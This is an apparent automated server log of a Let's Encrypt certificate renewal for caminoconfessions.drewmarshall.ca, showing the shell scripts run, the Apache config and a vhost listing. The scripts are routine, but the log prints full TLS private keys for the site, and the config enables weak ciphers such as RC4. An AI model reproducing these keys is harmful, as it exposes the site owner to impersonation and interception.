gPXRFzXyMbHCixhaCetMXvBVjJ4Htts6NZg/14E5dbZ4Y4MMdi5n5oKLddx2zDzH
qCMe/L+knoDecGL9LlUL7QFzAFPDIZDCiQGpHg5Tzdyw1A0zL1r63KW9psbsBXQk
lv55Vrc7AgMBAAECggEALRKOikE6XM9omiVdd+TSvRHc85h+LWQhkd86I4mtz+Oc
H7TMakTS+ktNG5CngOh9v4wPue2bsl8E9EMvn6dG/DO2whEsQj5TSKJthtqjj/6g
qFP0fAxsl3n898z6RRqUhjQZIwf3DBVpNXwwRg+Zwjguf+bE72WZL1DomZLr/pa3
oXpSEamHnNfspP8BaNHU+hFmTZAKuoBaoefW8ZigRORIyJC0qzcb6UZxqHyU6hPv
2ayqhlSrMHAXIRJBqmzQWQrJFSMy5l1L0heKDl3baVG9Ep5q+D5OrgAKwtZd+tlM
93YWZfza723SFn/pnOH1/vnapEGsAizWfrzYTK8OwQKBgQDSWUfG/PEOmkvPbqgM
Cb6vnENo4yb3iCpjFVAXmXxwsA8jrff17YyYEoUk4Ttf9vAl/EYpJ/ooGQk/Zkpv
RN7RNv4n0BVizhj5EcXe5x+8glhkCS0oQijX0P60Re+e1bh6egSOOwWgNvTbFJ9+
R+IaVL4HOlag4BpccN+P0/rzSwKBgQDPA2mukhHxL2vY0eWhjGYgkKsxdAnHRuhN
ykrFXxao35hQge8w/VAU7EapTKjJNw/bKaS4qvd6IZWKirErLdS04BQL1jtL94jd
iCLF2xyFjINm2/4Cd6nm1VoFUDE23r0WJ3OWuFCcZYqWwmpGQvXw0yvzeyRGL2c8
NUYsUPzl0QKBgQCJX/eJlI4WHFzgdwNXAVJAvEwmBxve01XjafrpvrrPmZv5kFd9
jIuikY3U/Sfaz5odJLnpjQtJ/rfUaQi5zH+8oS6xb6tX4QPcPmg84DMQ2QvDIV8V
iMfF0t9Vess4r5mQm3m4LgHJlbqqDbjwLyASVD/a1pXW8SUmNC09cJLXKwKBgGxV
s+PIy5z1nTHtvoeJixS1wPFzcX6ZLA8xs2mQ9rHPuc1AAmYX2uXoNJ564MXUi/a8
11hRGIwQsUq8hDU9mdhCgBsltQhvdW/Bw7jZjxaQz19v94FhEEgeFSs8qVS2wiuq
38HbmUwPk7SL78PvXPf3+0NDiVs1iYgntR6SD5dRAoGAdsGF7qdvrOwqlSS0MZWv
u3kaU24hkzwrWMHzNW6NBLK32bje0c6TwdviOejQY3OwYG0fSSJDkSu7LSYHw7AO
bf6uNbxsZB0r4bFMHAKmWS4p+PM4T5U9R0GEOuraCzpz1LOCS8B3wR0DZyybEAig
z1907R6cfJCUuDV4ZnxuJ/c=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-01 06:00:02: Establishing a connection
2025-09-01 06:00:02: Establishing a connection
2025-09-01 06:00:02:
PUT: /tmp/pkp471887
#!/bin/bash
if [ -d "/var/www/drewmarshall_caminoconfessions/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-01 06:00:04:
chmod 755 /tmp/pkp471887; /tmp/pkp471887; rm /tmp/pkp471887
2025-09-01 06:00:04:
1
2025-09-01 06:00:05: Establishing a connection
2025-09-01 06:00:05:
PUT: /tmp/pkp102723
#!/bin/bash
mkdir -p "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cat > P1-w2qIxv6jsUmTzUEG44VVG6XocAQpjtlEVjMyJB9w <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
P1-w2qIxv6jsUmTzUEG44VVG6XocAQpjtlEVjMyJB9w.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 P1-w2qIxv6jsUmTzUEG44VVG6XocAQpjtlEVjMyJB9w
2025-09-01 06:00:05:
chmod 755 /tmp/pkp102723; /tmp/pkp102723; rm /tmp/pkp102723
2025-09-01 06:00:06:
2025-09-01 06:00:11: Establishing a connection
2025-09-01 06:00:11:
PUT: /tmp/pkp985056
#!/bin/bash
mkdir -p "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
rm P1-w2qIxv6jsUmTzUEG44VVG6XocAQpjtlEVjMyJB9w
2025-09-01 06:00:11:
chmod 755 /tmp/pkp985056; /tmp/pkp985056; rm /tmp/pkp985056
2025-09-01 06:00:11:
2025-09-01 06:00:11: Establishing a connection
2025-09-01 06:00:11:
PUT: /tmp/pkp318614
#!/bin/bash
temp_file=$(mktemp)
TARGET=0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
cat > $temp_file <<'endmsg'
9f:4d:16:fb:46:1f:f0:e8:48:a8:24:6c:2c:d3:f2:de
-----BEGIN CERTIFICATE-----
MIIFHTCCBAWgAwIBAgISBZ3akOgSYlDXthGbtOXK83cOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTAxMDUwMTQwWhcNMjUxMTMwMDUwMTM5WjAsMSowKAYDVQQD
EyFjYW1pbm9jb25mZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDuxx8+TsxQYTVdQW0Uu/X+Nfyem5mo3t5a8uLe
XSWrKKoDom1EYkRsLYr8Wu+uUTnH3QQ4vQqx2Wd1m3gdbA4dnR3gyvllvEjHv0lt
dOhH9BJ73uUDVxivxax1+2TlwmPJz7HDl5BwouiGx6RDH8dEuRmF7CWaxdPYL/HL
I87G8l59meR5uQM55+2G+yDOgX3M8AX4GAgvAnkL3426e5KDcZYgQ0pOoGIv+1ae
Rzk+POVSnM+RgJnoc0UVt3TsuuqBLBcSTVxKP78GruWBET3a1WbE/YiTvEO7vvZA
MUPmP7ecFxmwXY0bU+N4zo8tLNr7hZkTqHaIbMuw7UXZ/dfjAgMBAAGjggIwMIIC
LDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMC
MAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFD8pCRlZTxABek69KybiQjdXVtE+MB8G
A1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAj
BggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wLAYDVR0RBCUwI4Ih
Y2FtaW5vY29uZmVzc2lvbnMuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
MTUuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUA7TxL1ugGwqSiAFfbyyTi
OAHfUS/txIbFcA8g3bc+P+AAAAGZA9yRJQAABAMARjBEAiB8qYQWxiBL7ZWvKIRn
ZCAgOZHIbnY6KCH7WHmKSJhUUQIgaeY4CqNu1ygQ1G65DexMtH4xPra2TiDs7zgw
G8cPnPoAdgAN4fIwK9MNwUBiEgnqVS78R3R8sdfpMO8OQh60fk6qNAAAAZkD3JEk
AAAEAwBHMEUCIQDxQui2L1mKnwnlyR+lI85Q4HZt0dm7OTn8gaKuGvWMmgIgStxu
JKZhXsgKPFyLCr8KGWXKJQ4Nqn3+NcxLUTRPHZowDQYJKoZIhvcNAQELBQADggEB
ADvOAtwHXj/jqAyfgNQ1Ztq6VSNEoINaO/cWV5SL9QZi8WU4cJD0C6sRvlEtx+JW
jS1+v/gZGP3O2r6Njb69xNUIZy5wHCPXuV8Rzsg8AzOGXTezWAKPiastL7nVCOTV
iTs93yt9S/6sIN7+l9DZhzNNOUKUaD/cuuXF5yBb6iSUl9eIrkjUTNQooXVW4NFE
kK1P9BnP1n2RLNVgLSlgiRk+nI5WAgXmR8Rg+uNw0TXGX+6HwlfdcnxVtsw/3HXz
hSxLjwd+OlU2OkpJNNC8Ekw9Ya8UPCXU4uZUgahueBWIPbWL1h7M441kKElzUyHj
y8Ui3hwoZleJSXAVveXDJjY=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDuxx8+TsxQYTVd
QW0Uu/X+Nfyem5mo3t5a8uLeXSWrKKoDom1EYkRsLYr8Wu+uUTnH3QQ4vQqx2Wd1
m3gdbA4dnR3gyvllvEjHv0ltdOhH9BJ73uUDVxivxax1+2TlwmPJz7HDl5BwouiG
x6RDH8dEuRmF7CWaxdPYL/HLI87G8l59meR5uQM55+2G+yDOgX3M8AX4GAgvAnkL
3426e5KDcZYgQ0pOoGIv+1aeRzk+POVSnM+RgJnoc0UVt3TsuuqBLBcSTVxKP78G
ruWBET3a1WbE/YiTvEO7vvZAMUPmP7ecFxmwXY0bU+N4zo8tLNr7hZkTqHaIbMuw
7UXZ/dfjAgMBAAECggEBAOf0JzWv9mpfBCgDVqO9s8mvSCgLn8mcNwTCzgCVG/KZ
Hg9JyjuT+kPcOhfLfuonnam52lAD1E/QkeB9lsF+Jng+GLg2dO+PaGQiPoJF/x9m
yk3qyS3lfeXCcTZrcCiCHc3+JQGMSpQgrSHA7qEGTd1EsraWIDGp25E3gfuEXWqE
R0Rdi0VytKAtOjA772fKyuGhrZBKHEB/Z6ihQV0H+drcnHsEBGcdITrEH0+IP5M5
LezTqo0WsIWYRvhHRH3yefldQVuTnXhQxy5025fJyyBY41Es7KfoURy0cEsgxloB
8hYDc+Tmm5nt7ANL7Jl9z0cp2rNEgKo+/o5cdw5d14ECgYEA+fwBBJcwEo0YotUR
/NTLn0NgxoNzVj/FSRBDHOSghPHDEwVjiV8MLJsUvqaGuyd5+jafhLa9tFOqdVTh
AMbZ7xgELFxgQsnv9VZa4XedR9sypgbXAydRQNj8B7zhczGCWUYC6qlMBTw9CcJe
irdFDTCVtlofq6qMkHmUzol2O08CgYEA9IYU2trCGI2IvGPYKCR0O+fkf6glpFEM
xcsQh78bXPNSB3tAAVuIFItr7OECoqamWQnW+1R7v7OAo2wcqMFa70SExwgxti4Y
VKlUz87iSdqwkh8rvcOTYQ5cMkMpqDG2809+foP4X2acU9IinpeTnWQGNA8rzv1G
K9mgHddtJS0CgYASvXqSDodzDJLJOjHkA0vUf6eUmiweTh+LD6YIV3dVIA6gsWm5
1Z9DBMk0VaWKCDaTtF6XA2ALUa5Yp2lKtp2F2AYQEUjCGQNdIAEmH+JxjZQpcB/U
Q7FKrDmQlu9LxG1iJeZ4EwL47YAh6ClQOtb5WygOCImRQ/LPrd2i8hkj7wKBgDq7
HbU3R9lX3VjKbnet0dE1sHdM7sWZxgSX8n94Ul0wACrV2pi44GV221RI8zYX6uqF
54H0V8jCl4opBHUwA+RmQ7H+cNo+Fg/3n+xN16I/iZt/KyVoHTT5mwFjilTgo/2q
wUon7ncTkUa8uR34cDckeCz22+HaiYksuz2PqaJ9AoGACCERqjdxWWj6GWXSDori
myYVLnTvFiy0gzkUgfNiRuxOb/K+2Y/V6w7EqqTG0yl32DoRjJtpJxDeIwn7QZyb
JGM6hWrDhv95lxh46eoqF1c8drke+BiEqRVZwupKC/imhFtdTXN5rSPdcBqXxXw+
JnXhseCqaYsjnTF/awUxeLA=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-01 06:00:11:
chmod 755 /tmp/pkp318614; /tmp/pkp318614; rm /tmp/pkp318614
2025-09-01 06:00:11:
dir=/etc/ssl/certs
2025-09-01 06:00:11:
PUT: /tmp/pkp849187
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-01 06:00:11:
chmod 755 /tmp/pkp849187; /tmp/pkp849187; rm /tmp/pkp849187
2025-09-01 06:00:11:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf 57
<VirtualHost *:80>
ServerName caminoconfessions.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_caminoconfessions
<Directory /var/www/drewmarshall_caminoconfessions>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/caminoconfessions_access.log combined
ErrorLog /var/log/apache2/drewmarshall/caminoconfessions_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName caminoconfessions.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
DocumentRoot /var/www/drewmarshall_caminoconfessions
<Directory /var/www/drewmarshall_caminoconfessions>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-01 06:00:11:
PUT: /tmp/pkp439851
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_caminoconfessions_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName caminoconfessions.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_caminoconfessions
<Directory /var/www/drewmarshall_caminoconfessions>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/caminoconfessions_access.log combined
ErrorLog /var/log/apache2/drewmarshall/caminoconfessions_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName caminoconfessions.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
DocumentRoot /var/www/drewmarshall_caminoconfessions
<Directory /var/www/drewmarshall_caminoconfessions>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf= 1'
fi
2025-09-01 06:00:11:
chmod 755 /tmp/pkp439851; /tmp/pkp439851; rm /tmp/pkp439851
2025-09-01 06:00:11:
2025-09-01 06:00:11:
PUT: /tmp/pkp215038
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-01 06:00:11:
chmod 755 /tmp/pkp215038; /tmp/pkp215038; rm /tmp/pkp215038
2025-09-01 06:00:11:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-01 06:00:11: Establishing a connection
2025-09-01 06:00:12:
PUT: /tmp/pkp116762
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-01 06:00:12:
chmod 755 /tmp/pkp116762; /tmp/pkp116762; rm /tmp/pkp116762
2025-09-01 06:00:12:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-01 06:00:12:
PUT: /tmp/pkp420940
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
